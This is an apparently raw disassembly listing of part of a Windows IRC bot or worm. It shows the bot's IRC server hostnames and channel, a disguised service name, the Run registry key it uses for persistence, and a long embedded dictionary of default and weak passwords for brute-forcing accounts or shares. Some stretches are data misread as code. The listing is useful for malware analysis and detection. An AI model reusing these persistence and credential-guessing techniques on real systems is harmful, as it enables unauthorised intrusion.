off_427DF8	dd offset off_44294C	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_44294C
		dd offset dword_427E18+4
off_427E40	dd offset off_44296C	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_44296C
		dd offset unk_427E68
off_427E8C	dd offset off_44298C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_44298C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_4429B0	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_4429B0
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_442934
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_442934
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_44294C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_44296C
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_44298C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(191BA14Dh), 5 dup(6F630707h), 5 dup(75DA09E7h)
		dd 7Ah dup(0)
		dd 75DA09E7h, 0
		dd 191BA14Dh, 15h dup(0)
		dd 6F630707h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 6Eh,	73h, 6Dh
		dd 7261676Eh, 78652E73h, 65h
dword_429118	dd 6E6E6977h, 622E7374h, 7461h ; DATA XREF: ___:00411C50o
aWinServceAgent	db 'Win Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWindsys_dat	db 'windsys.dat',0
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 10h


loc_429150:				; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		and	esp, [esi+0]


loc_429153:				; DATA XREF: sub_401ACD+44A2o
		add	[ebx], ah
		db	66h
		add	[eax], al


loc_429158:				; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		and	esp, [esi+0]


loc_42915B:				; DATA XREF: sub_401ACD:loc_4098FBo
		add	[esp+ebp*8+42h], ch


loc_42915F:				; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
		add	[esp+ebp*8+42h], cl
		add	[esp+ebp*8], ch
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	ah, ch
		jmp	short loc_4291B1
; ---------------------------------------------------------------------------
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
		db 6Fh,	66h, 74h
		dd 65726177h, 63694D5Ch, 6F736F72h
		db 66h
; ---------------------------------------------------------------------------


loc_4291B1:				; CODE XREF: ___:0042916Dj
		jz	short near ptr aSystemCurrentc+1Fh
		push	edi
		imul	ebp, [esi+64h],	5C73776Fh
		inc	ebx
		jnz	short loc_429230
		jb	short loc_429225
		outsb
		jz	short loc_429219
		db	65h
		jb	short loc_429239
		imul	ebp, [edi+6Eh],	6E75525Ch
		push	ebx
		db	65h
		jb	short loc_429247
		imul	esp, [ebx+65h],	73h
; ---------------------------------------------------------------------------
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		db 0DCh
; ---------------------------------------------------------------------------


loc_429219:				; CODE XREF: ___:004291C1j
		jmp	short loc_42925D
; ---------------------------------------------------------------------------
		align 4
		dd offset aAdministrato_0 ; "administrator"
; ---------------------------------------------------------------------------
		mov	esp, 0AC0042EBh


loc_429225:				; CODE XREF: ___:004291BEj
		jmp	short near ptr byte_429269
; ---------------------------------------------------------------------------
		align 4
		mov	al, ds:980042EBh
		jmp	short loc_429271
; ---------------------------------------------------------------------------
		align 10h


loc_429230:				; CODE XREF: ___:004291BCj
		nop
		jmp	short loc_429275
; ---------------------------------------------------------------------------
		align 4
		dd offset aStaff	; "staff"
		db 80h
; ---------------------------------------------------------------------------


loc_429239:				; CODE XREF: ___:004291C3j
		jmp	short loc_42927D
; ---------------------------------------------------------------------------
		align 4
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		db 64h,	0EBh, 42h
; ---------------------------------------------------------------------------


loc_429247:				; CODE XREF: ___:004291CEj
		add	[ebx+ebp*8+42h], bl
		add	[eax-15h], dl
		inc	edx
		add	[eax-15h], cl
		inc	edx
		add	[eax-15h], al
		inc	edx
		add	[ebx+ebp*8], dh
		inc	edx
		add	[eax], dh


loc_42925D:				; CODE XREF: ___:loc_429219j
		jmp	short loc_4292A1
; ---------------------------------------------------------------------------
		align 10h
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		db 0
byte_429269	db 3 dup(0)		; CODE XREF: ___:loc_429225j
; ---------------------------------------------------------------------------
		fsubr	dword ptr [ecx]
		inc	esp
		add	al, bl


loc_429271:				; CODE XREF: ___:0042922Dj
		sub	[eax+eax+14h], eax


loc_429275:				; CODE XREF: ___:00429231j
		jmp	short loc_4292B9
; ---------------------------------------------------------------------------
		align 4
		fsub	st(3), st
		inc	edx
		add	ah, cl


loc_42927D:				; CODE XREF: ___:loc_429239j
		jmp	short loc_4292C1
; ---------------------------------------------------------------------------
		align 10h
		or	al, 0EBh
		inc	edx
		add	[eax], cl
		jmp	short loc_4292C9
; ---------------------------------------------------------------------------
		align 4
		dd offset aGuest_0	; "GUEST"
		dd offset aRoot		; "ROOT"
		dd offset aRoot_0	; "root"
		dd offset aAdmin	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
; ---------------------------------------------------------------------------
		fsub	st(2), st
		inc	edx
		add	ah, dl


loc_4292A1:				; CODE XREF: ___:loc_42925Dj
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
; ---------------------------------------------------------------------------
		movsb


loc_4292B9:				; CODE XREF: ___:loc_429275j
		jmp	far ptr	42h:0EA9C0042h
; ---------------------------------------------------------------------------
		db  94h	; ”
; ---------------------------------------------------------------------------


loc_4292C1:				; CODE XREF: ___:loc_42927Dj
		jmp	far ptr	42h:0EA8C0042h
; ---------------------------------------------------------------------------
		db 88h
; ---------------------------------------------------------------------------


loc_4292C9:				; CODE XREF: ___:00429285j
		jmp	far ptr	42h:0EA800042h
; ---------------------------------------------------------------------------
		dd offset aAccess	; "ACCESS"
		dd offset aUser_2	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_2	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass		; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
; ---------------------------------------------------------------------------
		mov	cl, ch
		inc	edx
		add	[eax], ch
		jmp	short loc_429391
; ---------------------------------------------------------------------------
		align 10h
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		db 4
; ---------------------------------------------------------------------------


loc_429391:				; CODE XREF: ___:0042934Dj
		jmp	near ptr 0E93A93D8h
; ---------------------------------------------------------------------------
		dw 42h
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc		; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_42E6F8	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_0	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber_1	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark_0	; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
; ---------------------------------------------------------------------------
		push	600042DBh
		fild	dword ptr [edx+0]
		push	esp
		fild	dword ptr [edx+0]
		dec	esp
		fild	dword ptr [edx+0]
		inc	eax
		jmp	short loc_429A25
; ---------------------------------------------------------------------------
		align 4
		dd offset aDefault	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		db 0BCh
; ---------------------------------------------------------------------------


loc_429A25:				; CODE XREF: ___:004299E1j
		fiadd	dword ptr [edx+0]
		mov	ah, 0DAh
		inc	edx
		add	[edx+ebx*8-255BFFBEh], ch
		inc	edx
		add	[edx+ebx*8-256BFFBEh], bl
		inc	edx
		add	[edx+ebx*8-257FFFBEh], cl
		inc	edx
		add	[eax-26h], bh
		inc	edx
		add	[eax-26h], dh
		inc	edx
